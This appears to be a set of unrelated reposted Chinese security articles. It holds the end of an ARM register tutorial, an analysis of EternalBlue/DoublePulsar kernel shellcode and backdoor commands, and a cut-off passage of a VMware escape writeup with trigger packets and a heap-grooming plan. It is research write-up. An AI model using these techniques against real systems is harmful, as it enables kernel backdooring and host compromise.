R14:LR(链接寄存器)。当一个函数调用发生,链接寄存器就被用来记录函数调用发生所在位置的下一条指令的地址。这么做允许我们快速的从子函数返回到父函数。

R15:PC(程序计数器)。程序计数器是一个在程序指令执行时自增的计数器。它的大小在ARM模式下总是4字节对齐,在Thumb模式下总是两字节对齐。当执行一个分支指令时,PC存储目的地址。在程序执行中,ARM模式下的PC存储着当前指令加8(两条ARM指令后)的位置,Thumb(v1)模式下的PC存储着当前指令加4(两条Thumb指令后)的位置。这也是X86与ARM在PC上的主要不同之处。

我们可以通过调试来观察PC的行为。我们的程序中将PC的值存到R0中同时包含了两条其他指令,来看看会发生什么。

.section.text .global_start _start: movr0,pc movr1,#2 addr2,r1,r1 bkpt 在GDB中,我们开始调试这段汇编代码:
gef>br_start Breakpoint1at0x8054 gef>run

在开始执行触发断点后,首先会在GDB中看到:

$r00x00000000$r10x00000000$r20x00000000$r30x00000000 $r40x00000000$r50x00000000$r60x00000000$r70x00000000 $r80x00000000$r90x00000000$r100x00000000$r110x00000000 $r120x00000000$sp0xbefff7e0$lr0x00000000$pc0x00008054 $cpsr0x00000010 0x8054<_start>movr0,pc<-$pc 0x8058<_start+4>movr0,#2 0x805c<_start+8>addr1,r0,r0 0x8060<_start+12>bkpt0x0000 0x8064andeqr1,r0,r1,asr#10 0x8068cmnvsr5,r0,lsl#2 0x806ctsteqr0,r2,ror#18 0x8070andeqr0,r0,r11 0x8074tsteqr8,r6,lsl#6

可以看到在程序的开始PC指向0x8054这个位置即第一条要被执行的指令,那么此时我们使用GDB命令si,执行下一条机器码。下一条指令是把PC的值放到R0寄存器中,所以应该是0x8054么?来看看调试器的结果。

$r00x0000805c$r10x00000000$r20x00000000$r30x00000000 $r40x00000000$r50x00000000$r60x00000000$r70x00000000 $r80x00000000$r90x00000000$r100x00000000$r110x00000000 $r120x00000000$sp0xbefff7e0$lr0x00000000$pc0x00008058 $cpsr0x00000010 0x8058<_start+4>movr0,#2<-$pc 0x805c<_start+8>addr1,r0,r0 0x8060<_start+12>bkpt0x0000 0x8064andeqr1,r0,r1,asr#10 0x8068cmnvsr5,r0,lsl#2 0x806ctsteqr0,r2,ror#18 0x8070andeqr0,r0,r11 0x8074tsteqr8,r6,lsl#6 0x8078adfcsspf0,f0,#4.0 当然不是,在执行0x8054这条位置的机器码时,PC已经读到了两条指令后的位置也就是0x805c(见R0寄存器)。所以我们以为直接读取PC寄存器的值时,它指向的是下一条指令的位置。但是调试器告诉我们,PC指向当前指令向后两条机器码的位置。这是因为早期的ARM处理器总是会先获取当前位置后两条的机器码。这么做的原因也是确保与早期处理器的兼容性。

当前程序状态寄存器(CPSR)

当你用GDB调试ARM程序的的时候你能会可以看见Flags这一栏(GDB配置插件GEF后就可以看见了,或者直接在GDB里面输入flags也可以)。


【系列分享】ARM 汇编基础速成2:ARM汇编中的数据类型

图中寄存器```$CSPR```显示了当前状态寄存器的值,Flags里面出现的thumb,fast,interrupt,overflow,carry,zero,negative就是来源于CSPR寄存器中对应比特位的值。ARM架构的N,Z,C,V与X86架构EFLAG中的SF,ZF,CF,OF相对应。这些比特位在汇编级别的条件执行或者循环的跳出时,被用作判断的依据。


【系列分享】ARM 汇编基础速成2:ARM汇编中的数据类型

上图展示了32位的CPSR寄存器的比特位含义,左边是最大比特位,右边是最小比特位。每个单元代表一个比特。这一个个比特的含义都很丰富:

|标记|含义|

|--|--|

|N(Negative)|指令结果为负值时置1|

|Z(Zero)|指令结果为零值时置1|

|C(Carry)|对于加法有进位则置1,对于减法有借位则置0|

|V(Overflow)|指令结果不能用32位的二进制补码存储,即发生了溢出时置1|

|E(Endian)|小端序置0,大端序置1|

|T(Thumb)|当为Thumb模式时置1,ARM模式置0|

|M(Mode)|当前的权限模式(用户态,内核态)|

|J(Jazelle)|允许ARM处理器去以硬件执行java字节码的状态标示|

假设我们用CMP指令去比较1和2,结果会是一个负数因为1-2=-1。然而当我们反过来用2和1比较,C位将被设定,因为在一个较大的数上减了较小的数,没有发生借位。当我们比较两个相同的数比如2和2时,由于结果是0,Z标志位将被置一。注意CMP指令中被使用的寄存器的值并不会被修改,其计算结果仅仅影响到CPSR寄存器中的状态位。

在开了GEF插件的GDB中,计算结果如下图:在这里我们比较的两个寄存器是R1和R0,所以执行后的flag状态如下图。


【系列分享】ARM 汇编基础速成2:ARM汇编中的数据类型

Carry位Flag被设置的原因是CMP R1,R0会去拿4和2做比较。因为我们用以个较大的数字去减一个较少的数字,没有发生借位。Carry位便被置1。相反的,如果是CMP R0,R1那么Negative位会被置一。





【系列分享】ARM 汇编基础速成2:ARM汇编中的数据类型
【系列分享】ARM 汇编基础速成2:ARM汇编中的数据类型
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://azeria-labs.com/arm-data-types-and-registers-part-2/

【技术分享】EternalBlue Shellcode详细分析

$
0
0
【技术分享】EternalBlue Shellcode详细分析

2017-07-07 11:01:25

阅读:868次
点赞(0)
收藏
来源: 安全客





【技术分享】EternalBlue Shellcode详细分析

作者:Tmda_da





【技术分享】EternalBlue Shellcode详细分析

译者:Tmda_da

预估稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x0 前言

说来很惭愧,EnternalBlue 已经出来很久了,最近才开始分析,漏洞原理和环境搭建网上已经烂大街了,因此这篇文章只分析Shellcode,调试平台如下:

windows 7 sp1 en 32 位

Windbg

Eternalblue

Doublepulsar

Wireshark

断点方法是将Shellcode中的31c0修改为CCCC(int 3)后发送,成功断下来后再通过ew(fdff1f1) c031即可。该Shellcode 大致分为三段: 0x1,hook nt! kiFastCallEntry篇; 0x2, 主要功能篇;0x 3, 后门通信篇,下面来逐一进行介绍。


0x1 Hook ntdll! kiFastCallEntry篇

这部分代码功能比较简单, 但还是值得学习:首先是判断系统环境,作者用法比较巧妙,利用了x86和x64系统通过对二进制指令的解析不同来判断系统环境(64位环境没有调试,直接用IDA查看, 如下图。

【技术分享】EternalBlue Shellcode详细分析

1.1 x86环境


【技术分享】EternalBlue Shellcode详细分析

1.2 x64位环境

可以发现同样一段二进制代码, 在x86环境下eax=1 , x64环境下 eax = 0。 紧接着通过读取MSR的176号寄存器(放着nt! kiFastCallEntry函数地址)(这里还有简单的混淆),将其保存在Shellcode的末尾位置(Shellcode末尾空置了0x1d byte),然后再将第二段Shellcode的地址存放在MSR 176号寄存器中实现对nt! kiFastCallEntry函数的hook。


【技术分享】EternalBlue Shellcode详细分析

1.3 简单混淆


【技术分享】EternalBlue Shellcode详细分析

1.4 hook nt!kiFastCallEntry


【技术分享】EternalBlue Shellcode详细分析

1.5 hook前的情况


【技术分享】EternalBlue Shellcode详细分析

1.6 hook后的情况

为什么要hook kiFastCallEntry?

在Ring3应用程序需要调用ring0函数的时候, 会通过ntdll!kiFastSystemCall 函数,该函数的内容如下:

movedx,esp sysenter ret

Ring3层最终通过 sysenter 调用内核函数 nt!KiFastCallEntry实现空间转换。因此只要存在用户空间需要调用内核函数,都会调用这个函数。


0x2 主要功能篇

首先是获取到上一段Shellcode功能中保存末尾的kiFastCallEntry实际地址,然后写入MSR的176号寄存器中,恢复kiFastCallEntry。

【技术分享】EternalBlue Shellcode详细分析

2.1 unhook KiFastCallEntry

接下来获取ntoskrnl.exe 的基地址,fs:[0x38] 指向_KIDTENTRY表结构的开始地址,也指向0号中断,将0号中断的ExtendedOffset 和Offset组合成地址,就是0号中断处理函数地址。而这个函数位于ntoskrnl.exe中,因此该空间在ntoskrnl.exe进程空间中,在这个地址对齐(&0x00F000)处理后只需要每次减0x1000,然后比较前两位的PE(MZ)文件标识,最后一定能找到ntoskrnl.exe的基地址地址。
【技术分享】EternalBlue Shellcode详细分析

2.2. 寻找ntoskrnl.exe基地址


【技术分享】EternalBlue Shellcode详细分析

2.3 0号中断结构信息

找到ntoskrnl.exe的基地址后,利用应用层常用的查找函数地址方式查找ntoskrnl.exe导出表中的函数地址(此代码中的所有函数名和文件名都采用了hash处理),分别是

1, ExAllocatePool

2, ExFreePool

3, ZwQuerySystemInformationEx


【技术分享】EternalBlue Shellcode详细分析

2.4 根据hash 获取函数地址

函数寻找完成后,便是将后门程序hook到SrvTransaction2DispatchTable表中的函数SrvTransactionNotImplemented地址上,至于为什么要挑选这个函数我认为主要有以下三个原因:

1, 不增加无关网络协议连接,直接利用SMB协议进行数据传输(可以达到隐藏流量的目的,估计这也是为什么到公布了利用工具后才发现漏洞的原因)。

2, 通过查看SrvTransaction2DispatchTable表结构,我们有两个函数在这个表中出现了两次以上SrvSmbFsct1(3次)和SrvTransactionNotImplemented (2次),因此这两个函数更有利于hook。

3, 如果hook到SMB协议的常用处理函数, 那么这个函数的调用会比较频繁,那么处理过程就相对要复杂很多。而SrvTransactionNotImplemented的调用时在发送非正常Trans2 Request请求时才会调用,在正常情况下执行到这个函数的概率很小。

作者知道SrvTransaction2DispatchTable位于Srv.sys中的.data节中,所以作者采用了如下3个步骤实现寻找SrvTransaction2DispatchTable地址:

1,通过两次调用ZwQuerySystemInformationEx函数来获取所有内核模块的空间结构信息(_SYSTEM_MODULE_INFORMATION_ENTRY)表(第一次调用ZwQuerySystemInformationEx来获取 内核模块信息大小, 然后利用ExAllocatePool创建内存空间,在第二次调用ZwQuerySystemInformationEx来获取模块信息)。


【技术分享】EternalBlue Shellcode详细分析

2.5 获取内核模块信息结构体

2,通过依次对比_SYSTEM_MODULE_INFORMATION_ENTRY中的ImabeName 字符串来查找 srv.sys(此模块是SMB协议的主要模块)


【技术分享】EternalBlue Shellcode详细分析

2.6 查找srv.sys地址空间

3, 找到srv.sys的基地址后通过PE文件结构信息,最终后定位到.data节。


【技术分享】EternalBlue Shellcode详细分析

2.7 定位.data节信息

4,找到.data节后,最后进行内存搜索,根据SrvTransaction2DispatchTable的结构特征(见图2.9):

① 根据观察发现 SrvTransaction2DispatchTable[9], SrvTransaction2DispatchTable[11], SrvTransaction2DispatchTable[12]的值都相同, 都指向srv!SrvSmbFsct1;

②SrvTransaction2DispatchTable 中的函数指针跟SrvTransaction2DispatchTable在同一个地址领空, 因此最高8位的地址应该相同;

③SrvTransaction2DispatchTable[18h] = 0;

根据这三个特征来顺序搜索.data节空间,可以定位到SrvTransaction2DispatchTable的基地址。


【技术分享】EternalBlue Shellcode详细分析

2.8查找SrvTransaction2DispatchTable地址


【技术分享】EternalBlue Shellcode详细分析

2.9 SrvTransaction2DispatchTable结构信息

找到SrvTransaction2DispatchTable后开始为hook 后门程序做准备,先重新分配一块0x400大小内存空间bdBuffer,首先将前0x48字节中存放一些地址信息,因此顺序为:


【技术分享】EternalBlue Shellcode详细分析
(此处的ebp+4我猜测是作者的一点小失误,应该是 ebp-14h对应函数地址ZwQuerySystemInformationEx,不过对后边后门程序基本没有影响也就无法验证)。
并且将上述几个地址和空间结束地址进行异或后的值存放在bdBuffer+0x24地址处,作为后门程序首次使用时的异或key的引子(后门程序所使用的异或key是通过这个值变换而来)。接下来便将后门程序拷贝到bdBuffer+0x48处,然后将 bdBuffer + 0x48赋值给SrvTransaction2DispatchTable[14]中, 实现hook后退出。
【技术分享】EternalBlue Shellcode详细分析

2.10 保存函数地址,拷贝后门程序


【技术分享】EternalBlue Shellcode详细分析

2.11 Hook SrvTransactionNotImplemented前后对比


0x3 后门通信篇

这个模块需要配合Doublepulsar程序,因此就一起分析了下,本文主要分析EternalBlue中的Shellcode,所以就对Doublepulsar的分析此处就不写了,主要配合Wireshark进行分析。

首先是获取空间起始地址获取给ebp,然后获取到已经够造好的SmbBuffer中。


【技术分享】EternalBlue Shellcode详细分析

3.1 获取相关信息

在函数85bbd239中,获取最终返回的SMB 返回数据包地址赋值到ebp+0x38。至于这个过程如何得到的,我也没有仔细跟,应该跟SMB协议结构有关系(先将就着用吧)。


【技术分享】EternalBlue Shellcode详细分析

3.2 获取SMB 返回数据包地址

接着是计算解码密钥,计算过程在85bbd1a8中,比较简单 key = (A*2) ^ bswap(A), 然后将结果赋值到ebp+0x28中,具体过程如下:


【技术分享】EternalBlue Shellcode详细分析

3.3 根据解码引子计算解码key

函数85bbd1e9是获取SMB发送数据数据段的相关结构,对SMB数据结构在内存中的表现形式不太了解,我也还没太搞明白。

获取完这些后,接着判断命令类型,计算过程使根据发送的数据包的TimeOut,中的逐字节相加得到:


【技术分享】EternalBlue Shellcode详细分析

3.4 计算命令类型


【技术分享】EternalBlue Shellcode详细分析

3.5 抓取的Trans2 Request数据包

判断命令类型,主要有三个命令,0x23 -> 检查后门是否存在, 0x77 –> 卸载后门, 0xC8 执行Shellcode。


【技术分享】EternalBlue Shellcode详细分析

3.6 命令类型判断



0x3.1 检查后门是否存在 0x23

当接收到的命令是0x23后,做的事情,将ebp+0x24中存放的密钥引子写入到返回数据包的Signature前4个字节中,将系统位数信息存放在Signature的第5个字节中。如下所示:

【技术分享】EternalBlue Shellcode详细分析

3.7 后门检测处理过程

然后将返回数据包的Multiplex ID加0x10后 跳转到真正的SrvTransactionNotImplemented地址继续执行。

执行结果如下(两次结果不一样,是因为不是同一个过程里边抓到的数据包,调试过程中,分析太久SMB就自动退出链接):


【技术分享】EternalBlue Shellcode详细分析

3.8 检测后门反馈数据包


0x3.2 卸载后门 0x77

卸载后门的过程也相对较为简单,清空并释放掉以前分配的空间,然后unhook SrvTransactionNotImplemented函数后,设置返回数据包的Multiplex ID +=0x10恢复SrvTransactionNotImplemented的相关条件后退出,由系统在调用一次正常的SrvTransactionNotImplemented即可。

【技术分享】EternalBlue Shellcode详细分析

3.9 卸载后门过程


0x3.3 执行命令 0xc8

此过程主要包括组装数据(Doublepulsar的攻击数据根据大小拆分成一个或多个Trans2 Request数据包)和执行两个功能,主要流程如下:

Step 1, 解密数据包的SESSION_SETUP Parameters参数,获取当前数据的总长度total_len,当前数据包长度current_len和 当前数据包在整个数据包的位置current_pos;


【技术分享】EternalBlue Shellcode详细分析

3.10 计算数据包信息


【技术分享】EternalBlue Shellcode详细分析

3.11 数据包信息存放位置

Step 2, total_len 和存放总长度存放位置(ebp+0x30)的值进行比较,如果不相等则说明这是第一个数据包或者是错误数据包都 需要重新开始转到Step 3, 否则转到Step4;

Step 3, 如果内存空间存放处 ebp + 0x2C 不为这将其空间清零后释放,然后在分配一块长度为(total_len + 4)的空间,地址为buffer_addr,如果内存分配失败则跳转到Step 10, 然后将ebp+0x30 的值设置为total_len +4, ebp+0x2c 的值设置为buffer_addr;


【技术分享】EternalBlue Shellcode详细分析

3.12 分配存放数据包空间

Step 4, 如果current_pos + current_len >total_len,则表示数据包出错, 跳转到Step 9;

Step 5, 将接收到的数据packet_data 拷贝到 buffer_addr + current_pos处, 然后对这段拷贝的数据解码;


【技术分享】EternalBlue Shellcode详细分析

3.13 拷贝数据并解码

Step 6, 如果解码完成后的位置pos < buffer_addr+ total_len 则表示数据包没有接收完成,转到Step 8, 否则转到Step 7;

Step 7 , 直接执行(call)buffer_addr, 执行完成后, 清除并释放掉buffer_addr,并重新计算密钥引子和解密密钥;


【技术分享】EternalBlue Shellcode详细分析

3.14 执行解码后的数据,重新生成解码引子和解码key

Step 8 , 将发送的SMB Reponse 中Multiplex ID + 0x10 (执行成功) ,转到Step 11;

Step 9, 将发送的SMB Reponse 中Multiplex ID + 0x20 (非后门需要的数据包),转到Step 11;

Step 10, 将发送的SMB Reponse 中Multiplex ID + 0x30 (内存分配失败),转到Step 11;

Step 11, 跳到真正的SrvTransactionNotImplemented中执行。


0x4 写在最后

这是小菜第一次内核调试,查了很多资料,学了很多内核相关知识,也学到了EternalBlue作者的一些奇淫技巧。但是还是有很多不清楚的地方,希望各位大牛不吝赐教

0x5 参考文献

【1】NSA Eternalblue SMB 漏洞分析http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
【2】NSA Eternalblue SMB 漏洞分析

http://www.myhack58.com/Article/html/3/62/2017/85358_4.htm





【技术分享】EternalBlue Shellcode详细分析
【技术分享】EternalBlue Shellcode详细分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:

【技术分享】利用一个堆溢出漏洞实现VMware虚拟机逃逸

$
0
0
【技术分享】利用一个堆溢出漏洞实现VMware虚拟机逃逸

2017-07-07 18:57:46

阅读:589次
点赞(0)
收藏
来源: zhuanlan.zhihu.com





【技术分享】利用一个堆溢出漏洞实现VMware虚拟机逃逸

作者:长亭科技





【技术分享】利用一个堆溢出漏洞实现VMware虚拟机逃逸

作者:李小龙(acez)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

1. 介绍

2017年3月,长亭安全研究实验室(ChaitinSecurity Research Lab)参加了Pwn2Own黑客大赛,我作为团队的一员,一直专注于VMware Workstation Pro的破解,并成功在赛前完成了一个虚拟机逃逸的漏洞利用。(很不)幸运的是,就在Pwn2Own比赛的前一天(3月14日),VMware发布了一个新的版本,其中修复了我们所利用的漏洞。在本文中,我会介绍我们从发现漏洞到完成利用的整个过程。感谢@kelwin在实现漏洞利用过程中给予的帮助,也感谢ZDI的朋友,他们近期也发布了一篇相关博客,正是这篇博文促使我们完成本篇writeup。

本文主要由三部分组成:首先我们会简要介绍VMware中的RPCI机制,其次我们会描述本文使用的漏洞,最后讲解我们是如何利用这一个漏洞来绕过ASLR并实现代码执行的。


2. VMware RPCI机制

VMware实现了多种虚拟机(下文称为guest)与宿主机(下文称文host)之间的通信方式。其中一种方式是通过一个叫做Backdoor的接口,这种方式的设计很有趣,guest只需在用户态就可以通过该接口发送命令。VMware Tools也部分使用了这种接口来和host通信。我们来看部分相关代码(摘自open-vm-tools中的lib/backdoor/backdoorGcc64.c):

voidBackdoor_InOut(Backdoor_proto*myBp)//IN/OUT{ uint64dummy; __asm____volatile__(#ifdef__APPLE__ /**Save%rbxonthestackbecausetheMacOSGCCdoesn'twantusto*clobberit-iterroneouslythinks%rbxisthePICregister.*(Radarbug7304232)*/ "pushq%%rbx""\n\t"#endif "pushq%%rax""\n\t" "movq40(%%rax),%%rdi""\n\t" "movq32(%%rax),%%rsi""\n\t" "movq24(%%rax),%%rdx""\n\t" "movq16(%%rax),%%rcx""\n\t" "movq8(%%rax),%%rbx""\n\t" "movq(%%rax),%%rax""\n\t" "inl%%dx,%%eax""\n\t"/*NB:Thereisnoinqinstruction*/ "xchgq%%rax,(%%rsp)""\n\t" "movq%%rdi,40(%%rax)""\n\t" "movq%%rsi,32(%%rax)""\n\t" "movq%%rdx,24(%%rax)""\n\t" "movq%%rcx,16(%%rax)""\n\t" "movq%%rbx,8(%%rax)""\n\t" "popq(%%rax)""\n\t"#ifdef__APPLE__ "popq%%rbx""\n\t"#endif :"=a"(dummy) :"0"(myBp) /**vmwarecanmodifythewholeVMstatewithoutthecompilerknowing*it.SofaritdoesnotmodifyEFLAGS.--hpreg*/ :#ifndef__APPLE__ /*%rbxisunchangedattheendofthefunctiononMacOS.*/ "rbx",#endif "rcx","rdx","rsi","rdi","memory" );}

上面的代码中出现了一个很奇怪的指令inl。在通常环境下(例如linux下默认的I/O权限设置),用户态程序是无法执行I/O指令的,因为这条指令只会让用户态程序出错并产生崩溃。而此处这条指令产生的权限错误会被host上的hypervisor捕捉,从而实现通信。Backdoor所引入的这种从guest上的用户态程序直接和host通信的能力,带来了一个有趣的攻击面,这个攻击面正好满足Pwn2Own的要求:“在这个类型(指虚拟机逃逸这一类挑战)中,攻击必须从guest的非管理员帐号发起,并实现在host操作系统中执行任意代码”。guest将0x564D5868存入$eax,I/O端口号0x5658或0x5659存储在$dx中,分别对应低带宽和高带宽通信。其它寄存器被用于传递参数,例如$ecx的低16位被用来存储命令号。对于RPCI通信,命令号会被设为BDOOR_CMD_MESSAGE(=30)。文件lib/include/backdoor_def.h中包含了一些支持的backdoor命令列表。host捕捉到错误后,会读取命令号并分发至相应的处理函数。此处我省略了很多细节,如果你有兴趣可以阅读相关源码。

2.1 RPCI

远程过程调用接口RPCI(Remote Procedure Call Interface)是基于前面提到的Backdoor机制实现的。依赖这个机制,guest能够向host发送请求来完成某些操作,例如,拖放(Drag n Drop)/复制粘贴(Copy Paste)操作、发送或获取信息等等。RPCI请求的格式非常简单:<命令> <参数>。例如RPCI请求info-get guestinfo.ip可以用来获取guest的IP地址。对于每个RPCI命令,在vmware-vmx进程中都有相关注册和处理操作。

需要注意的是有些RPCI命令是基于VMCI套接字实现的,但此内容已超出本文讨论的范畴。


3. 漏洞

花了一些时间逆向各种不同的RPCI处理函数之后,我决定专注于分析拖放(Drag n Drop,下面简称为DnD)和复制粘贴(Copy Paste,下面简称为CP)功能。这部分可能是最复杂的RPCI命令,也是最可能找到漏洞的地方。在深入理解的DnD/CP内部工作机理后,可以很容易发现,在没有用户交互的情况下,这些处理函数中的许多功能是无法调用的。DnD/CP的核心功能维护了一个状态机,在无用户交互(例如拖动鼠标从host到guest中)情况下,许多状态是无法达到的。

我决定看一看Pwnfest 2016上被利用的漏洞,该漏洞在这个VMware安全公告中有所提及。此时我的idb已经标上了很多符号,所以很容易就通过bindiff找到了补丁的位置。下面的代码是修补之前存在漏洞的函数(可以看出services/plugins/dndcp/dnddndCPMsgV4.c中有对应源码,漏洞依然存在于open-vm-tools的git仓库的master分支当中):

staticBoolDnDCPMsgV4IsPacketValid(constuint8*packet, size_tpacketSize){ DnDCPMsgHdrV4*msgHdr=NULL; ASSERT(packet); if(packetSize<DND_CP_MSG_HEADERSIZE_V4){ returnFALSE; } msgHdr=(DnDCPMsgHdrV4*)packet; /*Payloadsizeisnotvalid.*/ if(msgHdr->payloadSize>DND_CP_PACKET_MAX_PAYLOAD_SIZE_V4){ returnFALSE; } /*Binarysizeisnotvalid.*/ if(msgHdr->binarySize>DND_CP_MSG_MAX_BINARY_SIZE_V4){ returnFALSE; } /*Payloadsizeismorethanbinarysize.*/ if(msgHdr->payloadOffset+msgHdr->payloadSize>msgHdr->binarySize){//[1] returnFALSE; } returnTRUE;}BoolDnDCPMsgV4_UnserializeMultiple(DnDCPMsgV4*msg, constuint8*packet, size_tpacketSize){ DnDCPMsgHdrV4*msgHdr=NULL; ASSERT(msg); ASSERT(packet); if(!DnDCPMsgV4IsPacketValid(packet,packetSize)){ returnFALSE; } msgHdr=(DnDCPMsgHdrV4*)packet; /**Foreachsession,thereisatmost1bigmessage.Ifthereceived*sessionIdisdifferentwithbufferedone,thereceivedpacketisfor*anotheranothernewmessage.Destroyoldbufferedmessage.*/ if(msg->binary&& msg->hdr.sessionId!=msgHdr->sessionId){ DnDCPMsgV4_Destroy(msg); } /*Offsetshouldbe0fornewmessage.*/ if(NULL==msg->binary&&msgHdr->payloadOffset!=0){ returnFALSE; } /*Forexistingbufferedmessage,thepayloadoffsetshouldmatch.*/ if(msg->binary&& msg->hdr.sessionId==msgHdr->sessionId&& msg->hdr.payloadOffset!=msgHdr->payloadOffset){ returnFALSE; } if(NULL==msg->binary){ memcpy(msg,msgHdr,DND_CP_MSG_HEADERSIZE_V4); msg->binary=Util_SafeMalloc(msg->hdr.binarySize); } /*msg->hdr.payloadOffsetisusedasreceivedbinarysize.*/ memcpy(msg->binary+msg->hdr.payloadOffset, packet+DND_CP_MSG_HEADERSIZE_V4, msgHdr->payloadSize);//[2] msg->hdr.payloadOffset+=msgHdr->payloadSize; returnTRUE;} 对于Version 4的DnD/CP功能,当guest发送分片DnD/CP命令数据包时,host会调用上面的函数来重组guest发送的DnD/CP消息。接收的第一个包必须满足payloadOffset为0,binarySize代表堆上分配的buffer长度。[1]处的检查比较了包头中的binarySize,用来确保payloadOffset和payloadSize不会越界。在[2]处,数据会被拷入分配的buffer中。但是[1]处的检查存在问题,它只对接收的第一个包有效,对于后续的数据包,这个检查是无效的,因为代码预期包头中的binarySize和分片流中的第一个包相同,但实际上你可以在后续的包中指定更大的binarySize来满足检查,并触发堆溢出。

所以,该漏洞可以通过发送下面的两个分片来触发:

packet1{ ... binarySize=0x100 payloadOffset=0 payloadSize=0x50 sessionId=0x41414141 ... #...0x50bytes...#}packet2{ ... binarySize=0x1000 payloadOffset=0x50 payloadSize=0x100 sessionId=0x41414141 ... #...0x100bytes...#}

有了以上的知识,我决定看看Version 3中的DnD/CP功能中是不是也存在类似的问题。令人惊讶的是,几乎相同的漏洞存在于Version 3的代码中(这个漏洞最初通过逆向分析来发现,但是我们后来意识到v3的代码也在open-vm-tools的git仓库中):

BoolDnD_TransportBufAppendPacket(DnDTransportBuffer*buf,//IN/OUT DnDTransportPacketHeader*packet,//IN size_tpacketSize)//IN{ ASSERT(buf); ASSERT(packetSize==(packet->payloadSize+DND_TRANSPORT_PACKET_HEADER_SIZE)&& packetSize<=DND_MAX_TRANSPORT_PACKET_SIZE&& (packet->payloadSize+packet->offset)<=packet->totalSize&& packet->totalSize<=DNDMSG_MAX_ARGSZ); if(packetSize!=(packet->payloadSize+DND_TRANSPORT_PACKET_HEADER_SIZE)|| packetSize>DND_MAX_TRANSPORT_PACKET_SIZE|| (packet->payloadSize+packet->offset)>packet->totalSize||//[1] packet->totalSize>DNDMSG_MAX_ARGSZ){ gotoerror; } /**IfseqNumdoesnotmatch,itmeanseitherthisisthefirstpacket,orthere*isatimeoutinanotherside.Resetthebufferinallcases.*/ if(buf->seqNum!=packet->seqNum){ DnD_TransportBufReset(buf); } if(!buf->buffer){ ASSERT(!packet->offset); if(packet->offset){ gotoerror; } buf->buffer=Util_SafeMalloc(packet->totalSize); buf->totalSize=packet->totalSize; buf->seqNum=packet->seqNum; buf->offset=0; } if(buf->offset!=packet->offset){ gotoerror; } memcpy(buf->buffer+buf->offset, packet->payload, packet->payloadSize); buf->offset+=packet->payloadSize; returnTRUE;error: DnD_TransportBufReset(buf); returnFALSE;} Version 3的DnD/CP在分片重组时,上面的函数会被调用。此处我们可以在[1]处看到与之前相同的情形,代码依然假设后续分片中的totalSize会和第一个分片一致。因此这个漏洞可以用和之前相同的方法触发: packet1{ ... totalSize=0x100 payloadOffset=0 payloadSize=0x50 seqNum=0x41414141 ... #...0x50bytes...#}packet2{ ... totalSize=0x1000 payloadOffset=0x50 payloadSize=0x100 seqNum=0x41414141 ... #...0x100bytes...#}

在Pwn2Own这样的比赛中,这个漏洞是很弱的,因为它只是受到之前漏洞的启发,而且甚至可以说是同一个。因此,这样的漏洞在赛前被修补并不惊讶(好吧,也许我们并不希望这个漏洞在比赛前一天被修复)。对应的VMware安全公告在这里。受到这个漏洞影响的VMWare Workstation Pro最新版本是12.5.3。

接下来,让我们看一看这个漏洞是如何被用来完成从guest到host的逃逸的!


4. 漏洞利用

为了实现代码执行,我们需要在堆上覆盖一个函数指针,或者破坏C++对象的虚表指针。

首先让我们看一看如何将DnD/CP协议的设置为version 3,依次发送下列RPCI命令即可:

tools.capability.dnd_version3 tools.capability.copypaste_version3 vmx.capability.dnd_version vmx.capability.copypaste_version 前两行消息分别设置了DnD和Copy/Paste的版本,后续两行用来查询版本,这是必须的,因为只有查询版本才会真正触发版本切换。RPCI命令vmx.capability.dnd_version会检查DnD/CP协议的版本是否已被修改,如果是,就会创建一个对应版本的C++对象。对于version 3,2个大小为0xA8的C++对象会被创建,一个用于DnD命令,另一个用于Copy/Paste命令。

这个漏洞不仅可以让我们控制分配的大小和溢出的大小,而且能够让我们进行多次越界写。理想的话,我们可以用它分配大小为0xA8的内存块,并让它分配在C++对象之前,然后利用堆溢出改写C++对象的vtable指针,使其指向可控内存,从而实现代码执行。

这并非易事,在此之前我们必须解决一些其他问题。首先我们需要找到一个方法来绕过ASLR,同时处理好windows Low Fragmented Heap。

4.1 绕过ASLR

一般来说,我们需要找到一个对象,通过溢出来影响它,然后实现信息泄露。例如破坏一个带有长度或者数据指针的对象,并且可以从guest读取,然而我们没有找到这种对象。于是我们逆向了更多的RPCI命令处理函数,来寻找可用的东西。那些成对的命令特别引人关注,例如你能用一个命令来设置一些数据,同时又能用相关命令来取回数据,最终我们找到的是一对命令info-set和info-get:

info-setguestinfo.KEYVALUE info-getguestinfo.KEY VALUE是一个字符串,字符串的长度可以控制堆上buffer的分配长度,而且我们可以分配任意多的字符串。但是如何用这些字符串来泄露数据呢?我们可以通过溢出来覆盖结尾的null字节,让字符串连接上相邻的内存块。如果我们能够在发生溢出的内存块和DnD或CP对象之间分配一个字符串,那么我们就能泄露对象的vtable地址,从而我们就可以知道vmware-vmx的地址。尽管Windows的LFH堆分配存在随机化,但我们能够分配任意多的字符串,因此可以增加实现上述堆布局的可能性,但是我们仍然无法控制溢出buffer后面分配的是DnD还是CP对象。经过我们的测试,通过调整一些参数,例如分配和释放不同数量的字符串,我们可以实现60%到80%的成功率。

下图总结了我们构建的堆布局情况(Ov代表溢出内存块,S代表String,T代表目标对象)。


【技术分享】利用一个堆溢出漏洞实现VMware虚拟机逃逸

我们的策略是:首先分配一些填满“A”的字符串,然后通过溢出写入一些“B”,接下来读取所有分配的字符串,其中含有“B”的就是被溢出的字符串。这样我们就找到了一个字符串可以被用来读取泄露的数据,然后以bucket的内存块大小0xA8的粒度继续溢出,每次溢出后都检查泄露的数据。由于DnD和CP对象的vtable距离vmware-vmx基地址的偏移是固定的,每次溢出后只需要检查最低一些数据位,就能够判断溢出是否到达了目标对象。

4.2 获取代码执行

现在我们实现了信息泄露,也能知道溢出的是哪个C++对象,接下来要实现代码执行。我们需要处理两种情形:溢出CopyPaste和DnD。需要指出的是能利用的代码路径有很多,我们只是选择了其中一个。

4.2.1 覆盖CopyPaste对象

